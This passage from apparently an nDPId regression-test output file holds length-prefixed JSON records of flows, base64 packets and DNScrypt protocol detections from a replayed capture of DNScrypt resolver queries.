payload detection failed","thread_id":0,"packet_id":106,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":107,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":37595,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":47,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":107,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155254,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcU1cgAL0RcE0KAAABizvIdJLbAbsGBNikc5ABAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":107,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":47,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":37595,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":108,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155262,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQU1cAub0RlSAKAAABizvIdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":108,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00502{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":109,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":59194,"dst_port":443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":48,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":109,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155306,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcU1ggAL0RcEwKAAABizvIdOc6AbsGBIRDc5IBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABAAAAAAAAAAAABcQADAXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00532{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":109,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":48,"flow_packet_id":1,"flow_first_seen":946739305155,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"139.59.200.116","src_port":59194,"dst_port":443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":110,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":155318,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQU1gAub0RlR8KAAABizvIdAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":110,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00664{"flow_id":43,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":111,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":187672,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSF51AADcRFxKLO8h0CgAAAQG76FQAvuw2c5WBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} +00665{"flow_id":45,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":112,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":189032,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSF55AADcRFxGLO8h0CgAAAQG7xJ8Avg\/uc5OBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} +00664{"flow_id":44,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":113,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":189550,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSF59AADcRFxCLO8h0CgAAAQG7uO0Avhuic5GBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} +00664{"flow_id":46,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":114,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":191295,"pkt_caplen":224,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":224,"pkt_l4_len":190,"pkt":"ZmZmZmZmRERERERECABFAADSF6FAADcRFw6LO8h0CgAAAQG7qnEAviobc5SBgAABAAEAAAAAATINZG5zY3J5cHQtY2VydAhkbnNjcnlwdAJ1awAAEAABwAwAEAABAABwgAB9fEROU0MAAgAABjDMcMbz7yA0RLegztcBfq7VeYHKBaMLey+aMNVSTMo4Qj51\/gmF1JL4mny7Kl7CHKqU1ouuslp1lX1chQTTD+JLJw323p3g\/i9lq2cywGbzFxjIXwRFrAIdM6Cq64tY4ksnDfbeneAAAAABX1N7RV9UzMU="} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":115,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":47865,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":49,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":115,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192522,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcZYtAAL0RdE4KAAABwx5eHLr5IPsCCOQQMs4BAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":115,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":49,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":47865,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00501{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":116,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":33369,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +02385{"flow_id":50,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":116,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192603,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"REREREREZmZmZmZmCABFAAXcZYwgAL0RkI0KAAABwx5eHIJZIPsGBDAsMssBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAXGAAwFwgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00531{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":116,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":50,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":1480,"flow_min_l4_data_len":1480,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":1480,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":33369,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":117,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":34885,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +01102{"flow_id":51,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":117,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192615,"pkt_caplen":554,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":554,"pkt_l4_len":520,"pkt":"REREREREZmZmZmZmCABFAAIcZY1AAL0RdEwKAAABwx5eHIhFIPsCCOQQMswBAAABAAAAAAABATINZG5zY3J5cHQtY2VydAVmZm11YwNuZXQAABAAAQAAAAAAAAAAAAHKAAwBxgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="} +00527{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":117,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":51,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":34885,"dst_port":8443,"l4_proto":"udp","ndpi": {"proto":"DNScrypt","breed":"Safe","category":"Network"}} +00448{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":118,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739305,"pkt_ts_usec":192620,"pkt_caplen":94,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":94,"pkt_l4_len":0,"pkt":"REREREREZmZmZmZmCABFAABQZYwAub0RtWAKAAABwx5eHAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=="} +00196{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":118,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","l4_data_len":60} +00497{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":119,"source":"dnscrypt-v1-and-resolver-pings.pcap","alias":"nDPId-test","flow_id":52,"flow_packet_id":1,"flow_first_seen":946739305192,"flow_last_seen":0,"flow_tot_l4_data_len":520,"flow_min_l4_data_len":520,"flow_max_l4_data_len":520,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"195.30.94.28","src_port":44093,"dst_port":8443,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} 